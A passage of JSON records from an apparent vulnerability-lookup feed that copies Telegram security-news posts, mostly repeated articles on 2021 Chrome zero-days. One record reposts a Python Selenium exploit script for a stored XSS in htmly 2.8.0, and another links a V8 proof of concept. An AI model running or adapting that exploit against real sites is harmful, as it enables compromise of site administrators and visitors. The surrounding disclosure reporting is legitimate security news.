implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-02T01:02:53.846838Z"}, {"uuid": "15582bef-101e-4085-b966-b0998eee0a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-02T01:02:53.881862Z"}, {"uuid": "4343a05b-3552-4070-9027-456312fe7a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-02T01:02:53.917628Z"}, {"uuid": "3c6f7d65-2f92-402a-9011-babc779d2ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30631", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-02T01:02:53.570487Z"}, {"uuid": "f009f71f-f1ee-4963-bd01-92431fff16d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:48.676829Z"}, {"uuid": "76c33241-cd46-4ff2-8d46-40ed00e4c70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:48.791088Z"}, {"uuid": "155bc11a-b8f9-4817-ace8-976d82220ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "seen", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:22.825594Z"}, {"uuid": "4272f35c-c3c3-486d-b5f1-a253ab0e924e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/cissp/4431", "content": "Javascript Anti Debugging\nPart 1 - Abusing SourceMappingURL\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-1-abusing-sourcemappingurl-da91ff948e66\nPart 2 - Abusing Chromium Devtools Scope Pane\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-2-abusing-chromium-devtools-scope-pane-b2796c00331d\n\nexploit\nCVE-2021-30632:\nOut of bounds write in V8 (PoC)\nhttps://github.com/Phuong39/PoC-CVE-2021-30632\n// Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch\n\nCloud Security\nBlue Team Techniques\n1. A Cloud Forensics Powershell module to run\nthreat hunting playbooks on data from Azure/O365\ud83d\ude01\nhttps://github.com/darkquasar/AzureHunter\n2. APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus\ud83d\ude01\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-259a", "creation_timestamp": "2026-09-02T01:04:25.055161Z"}, {"uuid": "5de6166a-3a46-4c1b-9a6a-13eb69a9b78a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T04:00:05.474182Z"}, {"uuid": "c6bf4f10-5bf4-4257-9852-4e41cd301a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:36.118130Z"}, {"uuid": "3567c694-0544-4559-9e25-ce71b46464ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the 